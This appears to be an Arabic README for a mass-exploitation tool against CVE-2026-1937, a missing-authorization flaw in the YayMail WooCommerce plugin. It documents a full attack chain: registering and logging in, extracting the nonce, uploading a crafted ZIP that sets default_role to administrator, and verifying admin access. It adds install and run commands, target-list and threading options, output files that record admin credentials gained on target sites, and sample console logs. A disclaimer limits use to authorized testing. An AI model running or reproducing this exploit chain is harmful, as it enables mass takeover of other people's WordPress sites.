
YayMail <= 4.3.2 - نقص التفويض يسمح للمستخدمين المصادق عليهم (مدير المتجر+) بتحديث الخيارات بشكل تعسفي عبر إجراء AJAX 'yaymail_import_state'
الوصف:
يحتوي إضافة YayMail – WooCommerce Email Customizer لووردبريس على ثغرة تعديل غير مصرّح به للبيانات تؤدي إلى تصعيد الامتيازات في جميع الإصدارات حتى 4.3.2 وما دون. يتم تسجيل إجراء AJAX باسم yaymail_import_state بدون أي فحص للصلاحيات على مستوى الخادم، مما يسمح للمهاجمين المصادقين بصلاحيات Shop Manager-level أو أعلى باستدعائه بحرية. عبر رفع ملف استيراد ZIP مُعدّ بعناية، يمكن للمهاجم استبدال خيارات ووردبريس التعسفية بصمت — بما في ذلك تعيين دور تسجيل المستخدمين الجدد الافتراضي إلى administrator وتفعيل التسجيل العام المفتوح. وبمجرد حقن هذه الخيارات، يمكن لأي زائر تسجيل نفسه في الموقع والحصول على حساب مدير ووردبريس (WordPress Administrator) كامل، مما يؤدي إلى اختراق كامل للموقع.
هذه سلسلة استغلال جماعي (PoC) لإثبات المفهوم تستهدف تثبيتات WordPress + WooCommerce التي تشغّل إصدارًا ضعيفًا من إضافة YayMail. تنفّذ الأداة هجومًا متكاملًا من البداية إلى النهاية: تسجيل WooCommerce ← تسجيل الدخول ← استخراج nonce الخاص بـ YayMail ← استغلال yaymail_import_state ← التحقق من صلاحيات المدير.
[المرحلة 1 — التسجيل]
GET /my-account/ → استخراج nonce تسجيل WooCommerce
POST /my-account/ → تسجيل حساب جديد (نموذج WooCommerce)
→ حفظ بيانات الاعتماد في reg.txt
↓
[المرحلة 2 — تسجيل الدخول]
POST /wp-login.php → محاولة تسجيل الدخول الأصلي لووردبريس
POST /my-account/ (WooC.) → تسجيل دخول WooCommerce الاحتياطي
→ إنشاء جلسة مصادَق عليها
↓
[المرحلة 3 — فحص مسبق للمدير]
GET /wp-admin/ → إذا كان بالفعل مديرًا، انتقل إلى النتيجة
↓
[المرحلة 4 — استغلال YayMail]
GET /wp-admin/admin.php?page=yaymail-settings
→ استخراج: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<nonce_المستخرج>
import_file=yaymail_backup.zip
→ استبدال خيارات ووردبريس:
· default_role = administrator
· users_can_register = 1
↓
[المرحلة 5 — التحقق من صلاحيات المدير]
GET /wp-admin/ → فحص قائمة الإدارة / شريط الإدارة
GET /wp-admin/users.php → تأكيد الوصول إلى manage_options
↓
[الحفظ في Nx_admin.txt]
الصيغة: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — حمولة الاستيراد المخصصة (مطلوبة)pip install requests urllib3 rich
أو عبر ملف المتطلبات:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
تستخدم الأداة واجهة طرفية تفاعلية بالكامل مدعومة بـ Rich.
أنشئ ملفًا نصيًا عاديًا (الافتراضي: list.txt) — هدف واحد في كل سطر:
https://target1.com
https://target2.com
http://target3.com
target4.com
الأهداف التي لا تحتوي على
http://أوhttps://تُضاف إليها تلقائيًا بادئةhttps://.
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zipيتطلب الاستغلال ملف استيراد YayMail ZIP مخصصًا يستبدل خيارات ووردبريس التالية عند استيراده:
| خيار ووردبريس | القيمة المُحقَنة |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ سترفض الأداة العمل إذا لم يكن
yaymail_backup.zipموجودًا في دليل العمل.
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<مستخرج_من_صفحة_إعدادات_yaymail>
import_file=yaymail_backup.zip (multipart upload)
السبب الجذري:
لا يقوم معالج yaymail_import_state باستدعاء current_user_can() أو أي فحص صلاحيات مكافئ قبل معالجة الاستيراد. يمكن لأي مستخدم يملك دور shop_manager (أو أعلى) استدعاء هذا الإجراء بحرية واستبدال إدخالات جدول wp_options التعسفية عبر آلية استيراد ZIP.
تقوم الأداة بمسح المسارات التالية تلقائيًا بحثًا عن نماذج التسجيل وتسجيل الدخول:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| الملف | الوصف |
|---|---|
reg.txt | جميع عمليات تسجيل WooCommerce الناجحة مع بيانات الاعتماد |
Nx_admin.txt | جميع حالات تصعيد صلاحيات المدير المؤكدة |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import
╔══════════════════════════════════════════════════════════════════╗
║ WooCommerce · YayMail · Mass Exploit Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCAN] https://target.com
[REGISTERED] https://target.com :: user: Nx_admin pass: Nx_adminSA
[LOGIN-WP] https://target.com :: wp-login.php
[SEARCH-NONCE] https://target.com :: not admin, trying YayMail chain
[NONCE-FOUND] https://target.com :: nonce: a1b2c3d4e5
[EXPLOIT] https://target.com :: nonce: a1b2c3d4e5
[SUCCESS] https://target.com :: user: Nx_admin pass: Nx_adminSA
┌──────────────────────────────────────���───────────────────────────────────┐
│ Target │ Status │ Credentials / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ EXPLOITED (ADMIN VERIFIED) │ user: Nx_admin … │
│ https://target2.com │ NO-REGISTER │ │
│ https://target3.com │ DEAD │ │
└──────────────────────────────────────────────────────────────────────────┘
By: Nxploited (Khaled Alenazi)
هذه الأداة مُقدَّمة لأغراض تعليمية ولأبحاث الأمن المصرَّح بها فقط.
المؤلف، Nxploited (Khaled Alenazi)، وجميع المساهمين في هذا المشروع لا يقرّون أو يدعمون أو يتحملون أي مسؤولية عن إساءة استخدام هذه الأداة أو أي ضرر ناتج عن استخدام هذا البرنامج ضد أنظمة لا تملك تصريحًا كتابيًا صريحًا لاختبارها.
- ✅ مسموح: الاستخدام على الأنظمة التي تملكها أو حصلت على إذن كتابي صريح لاختبارها.
- ❌ محظور: الاستخدام ضد أي أنظمة دون تصريح كتابي صريح مسبق من مالك النظام.
الوصول غير المصرَّح به إلى أنظمة الحاسوب غير قانوني ويعاقب عليه القانون المعمول به بما في ذلك على سبيل المثال لا الحصر قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، وقانون إساءة استخدام الحاسوب (CMA)، والتشريعات المماثلة في جميع أنحاء العالم.
باستخدامك هذه الأداة، فإنك تقبل المسؤولية الكاملة والوحيدة عن أفعالك وتؤكد أن لديك السلطة القانونية لاختبار الأنظمة المستهدفة.
لا يتحمل المؤلف أي مسؤولية مهما كانت عن أي أضرار مباشرة أو غير مباشرة أو عرضية أو تبعية تنشأ عن استخدام أو إساءة استخدام هذا البرنامج.
© 2026 Nxploited (Khaled Alenazi) — لأبحاث الأمن المصرَّح بها فقط.
| الحقل | التفاصيل |
|---|
| معرّف CVE | CVE-2026-1937 |
| الخطورة | عالية (HIGH) — درجة CVSS v3.1: 7.2 |
| متجه الهجوم | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| الجهة المبلِّغة (CNA) | Wordfence |
| الباحث | Daniel Basta (whizzu) — NASK PIB |
| تاريخ النشر العام | 17 فبراير 2026 |
| آخر تحديث | 27 مارس 2026 |
| البرنامج المتأثر | YayMail – WooCommerce Email Customizer Plugin for WordPress |
| الإصدارات المتأثرة | جميع الإصدارات حتى 4.3.2 وما دون |
| نوع الثغرة | غياب التفويض → تحديث خيارات تعسفي غير مصرّح به → تصعيد الامتيازات |
| مصادقة مطلوبة | نعم — بمستوى Shop Manager أو أعلى |
| CWE | CWE-862: Missing Authorization |
| الحالة | اللون | المعنى |
|---|
EXPLOITED (ADMIN VERIFIED) | 🟢 أخضر | نجاح السلسلة الكاملة — تم تأكيد صلاحيات المدير |
EXPLOITED (ADMIN) | 🟢 أخضر | المستخدم المسجَّل كان مديرًا بالفعل |
PARTIAL | 🟡 أصفر | نجح استيراد YayMail ولكن لم يتم تأكيد وصول المدير |
REGISTERED | 🟡 أصفر | نجح تسجيل WooCommerce |
LOGIN-WP | 🔵 سماوي | تم تسجيل الدخول عبر /wp-login.php |
LOGIN-WOO | 🔵 سماوي | تم تسجيل الدخول عبر نموذج WooCommerce |
NONCE-FOUND | 🟣 أرجواني | تم استخراج nonce الخاص بـ YayMail بنجاح |
NO-REGISTER | ⚫ داكن | نموذج تسجيل WooCommerce غير موجود |
LOGIN-FAILED | ⚫ داكن | تعذّر إنشاء جلسة مصادَق عليها |
NONCE-NOT-FOUND | ⚫ داكن | صفحة إعدادات YayMail غير قابلة للوصول أو الـ nonce مفقود |
EXPLOIT-FAILED | 🔴 أحمر | استدعاء yaymail_import_state لم يُرجع نجاحًا |
TIMEOUT | ⚫ داكن | انتهت مهلة HTTP |
DEAD | ⚫ داكن | تم رفض الاتصال / تعذّر الوصول |
ERROR | 🔴 أحمر | استثناء غير متوقع |